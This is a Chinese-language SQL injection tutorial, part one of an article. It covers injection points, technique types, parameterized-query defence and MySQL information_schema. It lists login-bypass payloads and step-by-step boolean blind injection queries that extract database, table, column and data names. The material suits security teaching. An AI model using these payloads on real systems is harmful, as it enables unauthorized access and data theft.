SQL注入(SQL Injection)
是程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患
用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据或进行数据库操作
SQL(Structured Query Language)
结构化的查询语言,是关系型数据库通讯的标准语言
查询:SELECT statement FROM table WHERE condition
删除记录:DELETE FROM table WHERE condition
更新记录:UPDATE table SET field=value WHERE condtion
添加记录:INSERT INTO table field VALUES(values)
判断注入点
通过特殊符号 ‘,“,),\,/,-0 减数字看变化
逻辑关系,and比较常用,这里讲讲or和xor,or、xor和and都是相反的,如果错误的就会回显正常,如果是正确的就会回显不正常。xor肯定是不同为真,相同为假,这个好理解,但是数据库里面or的逻辑关系到是有点奇怪了,同时为真时回显会不正常。
注入点在哪
所有的输入只要和数据库进行交互的,都有可能触发SQL注入
认证页面
HTTP header
文件名
search位置
获取字段的地方
常见的几种select类型
数字型 SELECT * FROM news WHERE id=$id 常见于地址栏,可直接注入
字符型 SELECT * FROM news WHERE id='$id' 常见于地址栏,需要闭合单引号才可以注入
搜索型注入点 SELECT * FROM news WHERE keyword like '%$keyword%' 常见于文件名、文章搜索框内,需要闭合like语句才可以注入
内联式SQL注入 SELECT * FROM admin WHERE username='$name' AND password ='$passwd'
常见于登录界面,万能密码绕过登录验证
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
终止式SQL注入 SELECT * FROM admin WHERE username='$name' AND password ='$passwd'
常见于登录界面,用单引号闭合前面的username判断,通过注释符(--+,%23)构造注入点
根据注入技术分类有以下五种:
布尔型盲注:根据返回页面判断条件真假
时间型盲注:用页面返回时间是否增加判断是否存在注入
基于错误的注入:页面会返回错误信息
联合查询注入:可以使用union的情况下
堆查询注入:可以同时执行多条语句
防御方法
使用参数化查询。
数据库服务器不会把参数的内容当作SQL指令的一部分来拼接执行;
而是在数据库完成SQL指令的编译后才套用参数运行(预编译)。
避免数据变成代码被执行,时刻分清代码和数据的界限。
MySQL基础知识
MySQL默认的数据库有:sys、mysql、performance_schema、information_schema;
information_schema存放着所有的数据库信息(5.0版本以上才有这个库)
这个库有三个表:
SCHEMATA 该表存放用户创建的所有数据库库名SCHEMA_NAME 字段记录数据库库名
TABLES 该表存放用户创建的所有数据库库名和表名TABLE_SCHEMA 字段记录数据库名TABLE_NAME 字段记录表名
COLUMNS 该表存放用户创建的所有数据库库名、表名和字段名TABLE_SCHEMA 字段记录数据库名TABLE_NAME 字段记录表名COLUMN_NAME 字段记录字段名
布尔型盲注,页面不返回查询信息的数据,只能通过页面返回信息的真假条件判断是否存在注入。
在参数后添加引号尝试报错,并用and 1=1#和and 1=2#测试报错
?id=1' and 1=1# 页面返回正常
?id=1' and 1=2# 页面返回不正常
判断数据库名的长度
1'and length(database())>=1--+ 页面返回正常
1'and length(database())>=13--+ 页面返回正常
1'and length(database())>=14--+ 页面返回错误
由此判断得到数据库名的长度是13个字符
猜解数据库名
使用逐字符判断的方式获取数据库名;
数据库名的范围一般在az、09之内,可能还会有特殊字符 “_”、”-“ 等,这里的字母不区分大小写。
' and substr(database(),1,1)='a'--+
' and substr(database(),2,1)='a'--+
substr 的用法和 limit 有区别,limit从 0 开始排序,这里从 1 开始排序
判断数据库表名
' and substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1)='a'--+
修改1,1前边的1~20,逐字符猜解出第一个表的名
修改limit的0,1前边的0~20,逐个猜解每个表
判断数据库字段名
' and substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)='a'--+
修改1,1前边的1~20,逐字符猜解出第一个字段的名
修改limit的0,1前边的0~20,逐个猜解每个字段
取数据
' and substr((select 字段名 from 表名 limit 0,1),1,1)='a'--+
未完,本文分为上写下文